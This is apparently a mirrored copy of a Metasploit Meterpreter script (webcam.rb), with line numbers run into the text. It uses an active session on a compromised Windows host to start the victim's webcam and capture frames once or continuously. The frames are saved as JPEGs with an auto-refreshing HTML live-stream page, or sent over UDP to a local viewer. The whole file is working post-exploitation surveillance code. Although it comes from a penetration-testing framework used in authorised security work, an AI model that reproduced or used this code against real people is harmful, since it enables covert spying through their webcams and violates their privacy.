Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/webcam.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: scriptjunkie8#9# Simplify running webcam, whether grabbing a single frame or running10# a continuous loop.1112@client = client13opts = Rex::Parser::Arguments.new(14"-h" => [ false, "Help menu" ],15"-f" => [ false, "Just grab single frame"],16"-l" => [ false, "Keep capturing in a loop (default)" ],17"-d" => [ true, "Loop delay interval (in ms, default 1000)" ],18"-i" => [ true, "The index of the webcam to use (Default: 1)" ],19"-q" => [ true, "The JPEG image quality (Default: 50)" ],20"-g" => [ false, "Send to GUI instead of writing to file" ],21"-s" => [ true, "Stop recording" ],22"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],23"-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]24)25iterator = 026folderpath = "."27single = false28quality = 5029index = 130interval = 100031gui = false32saveAll = false33opts.parse(args) { |opt, idx, val|34case opt35when "-h"36print_line "webcam -- view webcam over session"37print_line(opts.usage)38raise Rex::Script::Completed39when "-f"40single = true41when "-l"42single = false43when "-d"44interval = val.to_i45when "-i"46index = val.to_i47when "-q"48quality = val.to_i49when "-g"50gui = true51when "-p"52folderpath = val53when "-s"54print_line("[*] Stopping webcam")55client.webcam.webcam_stop56raise Rex::Script::Completed57when "-a"58saveAll = true59end60}6162if client.platform != 'windows'63print_error("This version of Meterpreter is not supported with this Script!")64raise Rex::Script::Completed65end66begin67camlist = client.webcam.webcam_list68if camlist.length == 069print_error("Error: no webcams found!")70raise Rex::Script::Completed71elsif camlist.length < index72print_error("Error: only #{camlist.length} webcams found!")73raise Rex::Script::Completed74end75print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")76client.webcam.webcam_start(index)7778#prepare output79if(gui)80sock = Rex::Socket::Udp.create(81'PeerHost' => "127.0.0.1",82'PeerPort' => 1623583)84end85imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"86print_line( "[*] imagepath is #{imagepath}" )87htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"88begin89if single == true90data = client.webcam.webcam_get_frame(quality)91if(gui)92sock.write(data)93else94::File.open( imagepath, 'wb' ) do |fd|95fd.write( data )96end97path = ::File.expand_path( imagepath )98print_line( "[*] Image saved to : #{path}" )99Rex::Compat.open_file( path )100end101else102if(!gui)103::File.open(htmlpath, 'wb' ) do |fd|104htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"105fd.write(htmlOut)106end107print_line( "[*] View live stream at: #{htmlpath}" )108Rex::Compat.open_file(htmlpath)109print_line( "[*] Image saved to : #{imagepath}" )110end111while true do112data = client.webcam.webcam_get_frame(quality)113if(gui)114sock.write(data)115else116::File.open( imagepath, 'wb' ) do |fd|117fd.write( data )118::File.open(htmlpath, 'wb' ) do |fd|119htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"120fd.write(htmlOut)121if(saveAll)122iterator = iterator + 1123imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"124end125end126end127end128select(nil, nil, nil, interval/1000.0)129end130end131rescue ::Interrupt132rescue ::Exception => e133print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")134end135print_line("[*] Stopping webcam")136client.webcam.webcam_stop137sock.close if sock != nil138rescue ::Exception => e139print_error("Error: #{e.class} #{e} #{e.backtrace}")140end141142143